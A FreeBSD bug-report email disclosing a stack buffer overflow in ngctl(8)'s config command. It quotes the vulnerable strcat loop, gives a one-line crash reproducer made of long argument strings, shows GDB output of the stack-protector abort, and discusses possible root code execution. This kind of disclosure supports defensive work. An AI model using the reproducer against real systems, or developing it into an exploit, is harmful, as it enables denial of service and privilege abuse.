From nobody Tue Feb 10 01:21:43 2026 X-Original-To: bugs@mlmmj.nyi.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2610:1c1:1:606c::19:1]) by mlmmj.nyi.freebsd.org (Postfix) with ESMTP id 4f93gX0XNvz6R7kn for ; Tue, 10 Feb 2026 01:21:44 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from mxrelay.nyi.freebsd.org (mxrelay.nyi.freebsd.org [IPv6:2610:1c1:1:606c::19:3]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256 client-signature RSA-PSS (4096 bits) client-digest SHA256) (Client CN "mxrelay.nyi.freebsd.org", Issuer "R13" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 4f93gW6zTNz3CTf for ; Tue, 10 Feb 2026 01:21:43 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=freebsd.org; s=dkim; t=1770686504; h=from:from:reply-to:subject:subject:date:date:message-id:message-id: to:to:cc:mime-version:mime-version:content-type:content-type: content-transfer-encoding:content-transfer-encoding; bh=oh5PIZpWP1rK5Fcf1MmtctJ+BAQnp4bLSFcUxhCHf8Y=; b=xCKFipha7QngU35eNbESrdhsImfUVgOjnv/WXihh+ZhgwfKrZaQ2IintbYsXrFYPAi51sl /FHvenK4z+as+mvQ7FYwNd2Fq3n4NB+67thUqpSQn7np3VF5xp3ODdnEBTZo6FpYjxxYoH Unme5P4sCIkLx7Juw2ojWG/bF5ksiMsauYNcNuvZThwi0BruC/lfv+vKV7PLqaSdFInybc 4tGkj1OJ+SvHVe+1w/F2CUnLC37YOKoJ6OTewoVzwkfTSTHBl3Ur/LcZRaPVRhHmqoSe1g 4Z4jPgjpSsiE8CLRQMqDwJf7ju+khetOfGhGZi3Y3XMdVvpBi240gNm76N+Nmg== ARC-Seal: i=1; s=dkim; d=freebsd.org; t=1770686504; a=rsa-sha256; cv=none; b=MPuF+6izTudMCvaZHUJVKFSGo5dPCgxpJ0Lnd2K6ahNBiKfXzi2fyuIODlWP6+AY/SWj4L n1zRbAd39/ZnEhHwd4CZfzkP29MW9g0JigTZbQ+v3GYdiOW+QfOKUHpyO81VJ+EK8K/2hq oVSMp6J9NwRU9thq4FumPrJ+ipRQCQiFXzu372kXHtFMZ1Flrpka5xDnT8g54q4wFzWWJD rc4p8Aj77EOSKOkbXHOk6jszyi9Vm0fRWCbDsmKQ/7Q4dE5GP+MbaQ3uAHQ9t4g1ho8XRw Y9rRvQZUtBABvPyUjXEQwArUQOxfbcq1UfwHMrx+DHGXy/suoY78rsxE7To4QA== ARC-Authentication-Results: i=1; mx1.freebsd.org; none ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=freebsd.org; s=dkim; t=1770686504; h=from:from:reply-to:subject:subject:date:date:message-id:message-id: to:to:cc:mime-version:mime-version:content-type:content-type: content-transfer-encoding:content-transfer-encoding; bh=oh5PIZpWP1rK5Fcf1MmtctJ+BAQnp4bLSFcUxhCHf8Y=; b=rtwZVHAGwG1WufFp8nDQBf/qagv9k7wcWRREd8C6OMmtWXUtqvGfd4yIWCy2O9qY2tHWH8 8SM7HAkIGqDvdRTTZoOQOeRTRtIdLef9y7uVNjVYVxlSYUHDADwPcQMS/kK44+eHWHzvLW PiGyQ51Ye/TcZg7P0KZCARq+rtwv8w56qSpPenPefQNbLvziGs/g0peKoUTafAKqGC5Rnd TVYM0/vdvwMZf+3GS24VPYdpM2Y0ty1ZxN3frhdOOj8efR/LjBJRgU5DFvGQOlvzS9ImJ5 v5PoAOB0MxndI0CJPycTXYRQ2JDiTZVv0Rg0UacLKViiuaAriqR5JisCqKpm9Q== Received: from kenobi.freebsd.org (kenobi.freebsd.org [IPv6:2610:1c1:1:606c::50:1d]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256) (Client did not present a certificate) by mxrelay.nyi.freebsd.org (Postfix) with ESMTPS id 4f93gW6PN9zxYT for ; Tue, 10 Feb 2026 01:21:43 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from kenobi.freebsd.org ([127.0.1.5]) by kenobi.freebsd.org (8.15.2/8.15.2) with ESMTP id 61A1LheQ005854 for ; Tue, 10 Feb 2026 01:21:43 GMT (envelope-from bugzilla-noreply@freebsd.org) Received: (from www@localhost) by kenobi.freebsd.org (8.15.2/8.15.2/Submit) id 61A1Lht2005853 for bugs@FreeBSD.org; Tue, 10 Feb 2026 01:21:43 GMT (envelope-from bugzilla-noreply@freebsd.org) X-Authentication-Warning: kenobi.freebsd.org: www set sender to bugzilla-noreply@freebsd.org using -f From: bugzilla-noreply@freebsd.org To: bugs@FreeBSD.org Subject: [Bug 293075] Stack-based buffer overflow in ngctl(8) Date: Tue, 10 Feb 2026 01:21:43 +0000 X-Bugzilla-Reason: AssignedTo X-Bugzilla-Type: new X-Bugzilla-Watch-Reason: None X-Bugzilla-Product: Base System X-Bugzilla-Component: bin X-Bugzilla-Version: 14.3-RELEASE X-Bugzilla-Keywords: X-Bugzilla-Severity: Affects Many People X-Bugzilla-Who: igor@bsdtrust.com X-Bugzilla-Status: New X-Bugzilla-Resolution: X-Bugzilla-Priority: --- X-Bugzilla-Assigned-To: bugs@FreeBSD.org X-Bugzilla-Flags: X-Bugzilla-Changed-Fields: bug_id short_desc product version rep_platform op_sys bug_status bug_severity priority component assigned_to reporter attachments.created Message-ID: Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset="UTF-8" X-Bugzilla-URL: https://bugs.freebsd.org/bugzilla/ Auto-Submitted: auto-generated List-Id: Bug reports List-Archive: https://lists.freebsd.org/archives/freebsd-bugs List-Help: List-Post: List-Subscribe: List-Unsubscribe: Sender: owner-freebsd-bugs@FreeBSD.org MIME-Version: 1.0 https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=3D293075 Bug ID: 293075 Summary: Stack-based buffer overflow in ngctl(8) Product: Base System Version: 14.3-RELEASE Hardware: Any OS: Any Status: New Severity: Affects Many People Priority: --- Component: bin Assignee: bugs@FreeBSD.org Reporter: igor@bsdtrust.com Created attachment 267934 --> https://bugs.freebsd.org/bugzilla/attachment.cgi?id=3D267934&action= =3Dedit ngctl config dummy $(python3 -c 'print("A"*1200)') $(python3 -c 'print("B"*1200)') Dear FreeBSD Security Team, I am reporting a stack-based buffer overflow in ngctl(8) that allows any us= er to crash (and potentially exploit to code execution) the binary, which is typically executed as root.=20 I want register a CVE for this memory corruption vulnerability. Vulnerability Details File: usr.sbin/ngctl/config.c (function ConfigCmd) Buffer: char buf[NG_TEXTRESPONSE]; =E2=86=92 NG_TEXTRESPONSE =3D=3D 1024 Vulnerable code (still present in current main branch =E2=80=93 confirmed v= ia cgit.freebsd.org): Cchar buf[NG_TEXTRESPONSE]; *buf =3D '\0'; for (i =3D 2; i < ac; i++) { if (i !=3D 2) strcat(buf, " "); strcat(buf, av[i]); /* =E2=86=90 NO BOUNDS CHECKING */ } Proof of Vulnerability (PoC + GDB) Reproduction (any FreeBSD 13/14/15-CURRENT): ngctl config dummy $(python3 -c 'print("A"*1200)') $(python3 -c 'print("B"*1200)') Crash output: textngctl: send msg: No such file or directory Feb 9 18:39:10 hostname ngctl[980]: stack overflow detected; terminated Abort trap (core dumped) root@igor:~ # gdb ngctl -q GEF for freebsd ready, type `gef' to start, `gef config' to configure 93 commands loaded and 5 functions added for GDB 15.1 [GDB v15.1 for FreeBS= D] in 0.00ms using Python engine 3.11 Reading symbols from ngctl... (No debugging symbols found in ngctl) gef=E2=9E=A4 r config dummy $(python3 -c 'print("A"*1200)') $(python3 -c 'print("B"*1200)') [ Legend: Modified register | Code | Heap | Stack | String ] =E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2= =94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94= =80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80= =E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2= =94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94= =80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80= =E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2= =94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94= =80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80= =E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2= =94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94= =80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80 registers =E2=94=80=E2=94=80=E2=94=80=E2=94=80 $rax : 0x0=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20 $rbx : 0x000000080111e644 =E2=86=92 "stack overflow detected; terminate= d" $rcx : 0x00000008012152da =E2=86=92 jb 0x801215178 $rdx : 0x0=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20 $rsp : 0x00007fffffffcf88 =E2=86=92 0x00000008012188b0 =E2=86=92 mov= edi, 0x7f $rbp : 0x00007fffffffcfd0 =E2=86=92 0x00007fffffffcfe0 =E2=86=92 0x00= 007fffffffd860 =E2=86=92=20 "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]" $rsi : 0x6=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20 $rdi : 0x422=20=20=20=20=20=20=20=20=20=20=20=20=20 $rip : 0x000000080121545a =E2=86=92 jb 0x801215178 $r8 : 0x0=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20 $r9 : 0x0=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20 $r10 : 0x0=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20 $r11 : 0x000000080182d4a8 =E2=86=92 0x0032302d00544d4c ("LMT"?) $r12 : 0x00000008012cb950 =E2=86=92 0x64a4d3bb4ddc49a0 $r13 : 0x4=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20 $r14 : 0x00007fffffffcf90 =E2=86=92 0xffffffffffffffdf $r15 : 0x2=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20 $eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x43 $ss: 0x3b $ds: 0x3b $es: 0x3b $fs: 0x13 $gs: 0x1b=20 =E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2= =94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94= =80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80= =E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2= =94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94= =80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80= =E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2= =94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94= =80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80= =E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2= =94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94= =80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80= =E2=94=80=E2=94=80 stack =E2=94=80=E2=94=80=E2=94=80=E2=94=80 0x00007fffffffcf88=E2=94=82+0x0000: 0x00000008012188b0 =E2=86=92 mov edi= , 0x7f =E2=86=90 $rsp 0x00007fffffffcf90=E2=94=82+0x0008: 0xffffffffffffffdf =E2=86=90 $r14 0x00007fffffffcf98=E2=94=82+0x0010: 0xffffffffffffffff 0x00007fffffffcfa0=E2=94=82+0x0018: 0x0000000000000000 0x00007fffffffcfa8=E2=94=82+0x0020: 0x0000000000000000 0x00007fffffffcfb0=E2=94=82+0x0028: 0x0000000000000000 0x00007fffffffcfb8=E2=94=82+0x0030: 0x0000000000000000 0x00007fffffffcfc0=E2=94=82+0x0038: 0x00007fffffffe497 =E2=86=92 0x414100= 796d6d7564 ("dummy"?) =E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2= =94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94= =80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80= =E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2= =94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94= =80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80= =E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2= =94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94= =80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80= =E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2= =94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94= =80=E2=94=80=E2=94=80=E2=94=80=E2=94=80 code:x86:64 =E2=94=80=E2=94=80=E2=94=80=E2=94=80 0x801215450 mov eax, 0x25 0x801215455 mov r10, rcx 0x801215458 syscall=20 =E2=86=92 0x80121545a jb 0x801215178 NOT taken [= Reason: !(C)] 0x801215460 ret=20=20=20=20 0x801215461 int3=20=20=20 0x801215462 int3=20=20=20 0x801215463 int3=20=20=20 0x801215464 int3=20=20=20 =E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2= =94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94= =80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80= =E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2= =94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94= =80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80= =E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2= =94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94= =80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80= =E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2= =94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94= =80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80 threads =E2=94=80=E2=94=80=E2=94=80=E2=94=80 [#0] Id 1, stopped 0x80121545a in kill (), reason: SIGABRT =E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2= =94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94= =80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80= =E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2= =94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94= =80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80= =E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2= =94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94= =80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80= =E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2= =94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94= =80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80= =E2=94=80=E2=94=80 trace =E2=94=80=E2=94=80=E2=94=80=E2=94=80 [#0] 0x80121545a =E2=86=92 kill() [#1] 0x8012188b0 =E2=86=92 mov edi, 0x7f [#2] 0x801218820 =E2=86=92 __stack_chk_fail() [#3] 0x1026e9b =E2=86=92 int3=20 =E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2= =94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94= =80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80 The overflow reaches the stack canary (and potentially saved return address/ebp) =E2=86=92 confirmed stack smash. root@igor:~ # uname -a FreeBSD igor 14.3-RELEASE FreeBSD 14.3-RELEASE releng/14.3-n271432-8c9ce319= fef7 GENERIC amd64 Impact DoS =E2=86=92 any user with access to ngctl can crash it. Code execution =E2=86=92 root binary + stack overflow. SSP prevents simple = ROP, but bypasses exist (older builds, -fno-stack-protector, infoleak, etc.). Common scenario: jails, monitoring scripts, or any system with netgraph enabled. I want register a CVE for this memory corruption vulnerability Credits: Author: Igor Gabriel Sousa e Souza Email: igor@bsdtrust.com LinkedIn: https://www.linkedin.com/in/igo0r Thanks! --=20 You are receiving this mail because: You are the assignee for the bug.=